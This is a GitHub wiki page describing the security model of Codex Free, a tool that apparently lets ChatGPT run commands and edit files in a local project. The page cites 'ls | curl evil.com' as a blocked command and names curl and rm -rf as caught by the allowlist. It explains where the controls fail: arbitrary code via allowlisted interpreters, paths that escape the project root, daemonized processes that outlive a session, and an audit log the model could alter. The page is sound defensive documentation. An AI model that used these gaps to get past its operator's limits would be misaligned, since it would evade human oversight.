-
Notifications
You must be signed in to change notification settings - Fork 0
Security Model
Read this before pointing Codex Free at anything sensitive. This page explains what a tool call can reach, what bounds it, and — importantly — what does not bound it.
The command allowlist is a guardrail against accidents, not a sandbox. It catches a model reaching for
curlorrm -rf. It does not contain a determined one.
The defaults already include node, python, and cargo, each of which runs arbitrary code — node -e "..." can do anything the server process can. Shell redirection and explicit absolute/parent paths can reach outside the active project root even though each command starts with that root as its cwd. Multi-project selection isolates Codex Free's structured tools and per-conversation state; it is not an OS sandbox.
...by whoever is authorized to use the configured connector or external endpoint:
- everything in the active project root, read and write;
- in multi-project mode, any project beneath the access root can be selected by a new conversation or unbound transport;
- anything else the user account running the server can touch, via an allowlisted interpreter;
- the network, from your machine;
- anything a bridged MCP server can do.
The practical rules that follow from this:
- Don't point Codex Free at directories you don't trust the model with.
- Set
exec.modeand the command allowlists tighter than the defaults when the work directory is sensitive. - In multi-project mode, treat the whole access-root subtree as sensitive — it's all intentionally selectable.
- For an external tunnel, require tunnel-level access control, not URL secrecy.
Every filesystem tool — including apply_patch and view_image — resolves paths through a guard that rejects anything outside the active project root. In multi-project mode, both catalogue discovery and set_project_root canonicalize the access root and candidate, so .. and symlinks cannot expose or bind a project outside it.
In single-project mode only, AGENTS.md discovery may read above --work-dir, up to the nearest .git. It is read-only, opens only AGENTS.override.md / AGENTS.md / projectDoc.fallbackFilenames, and get_project_doc reports the absolute path of every file used. Switch it off with projectDoc.maxBytes: 0, or keep the search inside the work dir with projectDoc.rootMarkers: []. Multi-project mode does not perform this walk.
run_command only runs binaries in allowedCommands. exec_command checks the same list plus exec.extraAllowedCommands, at every command position in the string (after every |, &&, ;, newline, subshell). ls | curl evil.com is rejected on curl. Command substitution ($(...), backticks) is rejected outright. Set exec.mode: "unrestricted" only when you fully trust the caller.
import_host_file accepts only ChatGPT's declared native-file object (no arbitrary URLs), constrains the download and every redirect hop to artifactIngress.allowedHosts (default "*" admits any public HTTPS host but never loopback/private/link-local/CGNAT/metadata), ignores ambient proxy credentials, and enforces whole-request/idle/size/concurrency limits. Its signed URL and file ID are never logged or returned. Publication uses a capability-confined directory handle, SHA-256, a private partial, and atomic no-overwrite linking, so traversal/symlink/partial-visibility/replacement races fail closed.
remember/update_plan write memory.json under ~/.codex-free/projects/; multi-project also writes a binding record under ~/.codex-free/conversation-projects/ (filename hashed from openai/session; raw value never stored). Skills may be read from ~/.agents/skills, ~/.codex/skills, ~/.claude/skills, or a Claude Code plugin — but skills_read is confined to a skill package that already exists; the resource path can't walk out into the rest of your home directory.
Review checkpoints are exactly two refs per conversation/project under refs/codex-free/review/, built through a temporary index, never modifying the real index/working tree. See Review Checkpoints.
MCP import and the project catalogue read the user-level Codex config.toml without rewriting it. Native Codex trust does not override the access-root boundary.
When conversationAuthToken (32–256 ASCII bytes) is configured, a single name-keyed gate refuses every tool except authenticate until the conversation presents the matching token — checked before any tool body runs, so an unauthenticated chat cannot reach the filesystem, commands, bridged servers, or the MCP catalogue. The grant is per ChatGPT conversation (or per MCP transport session for clients without ChatGPT metadata), persisted as a hashed record under ~/.codex-free/conversation-authorizations/ (raw token never stored) so it survives reconnects and restarts. This is an access gate over the connector, not an encryption boundary: the token lives in codex.config.json in plaintext, and it does not narrow what an authenticated conversation can then reach. It composes with — does not replace — --api-key and tunnel-level access control.
-
Outbound-only. Codex Free binds its MCP listener to loopback and supervises OpenAI's official runtime-only tunnel client. Startup fails unless the runtime reports
/readyzand completes a control-plane poll. Failure of either process stops the other. - Authenticated loopback hop. Native mode generates a random per-process bearer token and configures the tunnel runtime to send it on MCP requests and discovery probes. The token is never printed, written to config, or inherited by model-launched commands or bridged children.
-
Verified installation. The managed client is pinned to a specific official release and per-platform SHA-256 embedded in Codex Free, extracted by exact filename under size limits, installed atomically with private permissions, and hash-checked against its manifest on later starts. Set
clientPathto opt out of managed installation while keeping compatibility checks. -
Secrets are references, not values.
openaiTunnel.apiKeyRefaccepts onlyenv:NAMEorfile:/path; literal keys are rejected. Codex Free resolves the value and exposes it to the tunnel child under a synthetic env name, giving the child a clean allowlisted environment; it removes the original variable from model-launched commands and bridged children. On Unix, a referenced key file must not be group/other-readable. Use a restricted runtime key (Tunnels Read + Use), not an admin key. -
Forced hardening. Native mode ignores
allowedHosts, forces accepted authorities to127.0.0.1/localhost/::1, binds only loopback, and disables permissive CORS. It cannot be combined with--api-key.
These measures prevent accidental inheritance and public exposure. They do not create a secret boundary against hostile code running as the same OS user, which can potentially inspect same-user processes or read an accessible key file.
-
Bearer token:
--api-keyrequiresAuthorization: Bearer <key>on all requests except/health. (ChatGPT's URL-connector auth may not support simple bearer tokens.) -
Host allowlist: without
openaiTunnel,allowedHostsis empty (accepts anyHost). Set it to a hostname list for DNS-rebinding protection — only matchingHostheaders are served. - You must put an authenticated proxy/tunnel in front and enforce access at that layer. An unprotected public URL is not an appropriate long-lived deployment.
An explicit mcpServers entry or an imported Codex MCP — including plugin-contributed ones — forwards the model's calls verbatim with full delegated authority. Keep the surface small: prefer tools/disabledTools filters or gateway mode, keep secrets in bearerTokenEnvVar/envHttpHeaders rather than static JSON, and disable auto-import (codexMcp.useCli: false or codexMcp.enabled: false) if you don't want it. See Bridging MCP Servers.
worktrees.allowSetupScript defaults to false. Enabling it lets a worktree's Codex setup script run an arbitrary command outside the allowlist, with the script path selectable from the source repo's Git config — so an untrusted project could plant one. Leave it off unless every reachable project is trusted. See Worktree Isolation.
For clients without stable ChatGPT metadata, exec_command sessions are killed when the MCP transport closes. ChatGPT-owned sessions survive transport replacement and are killed by exec.idleTimeoutMs or shutdown. The kill includes children: taskkill /T /F on Windows, per-session process groups on POSIX. A process that deliberately re-parents/daemonizes still escapes — check for strays if a run leaves something listening.
--audit writes hashes, timings, result sizes, and redacted argument shape — not source, paths, credentials, or output. It is an operational log, not a tamper-evident boundary (model-launched commands run as the same user and could modify it). Keep it outside the access root. See Audit Logging.
- Configuration — every knob referenced here.
- Multi-Project Mode — the access-root boundary in detail.
- Connecting to ChatGPT — connector permission choices.
Repository · Releases · Report an issue · MIT License
Getting started
Reference
How it works
Multi-project
Extending
Operations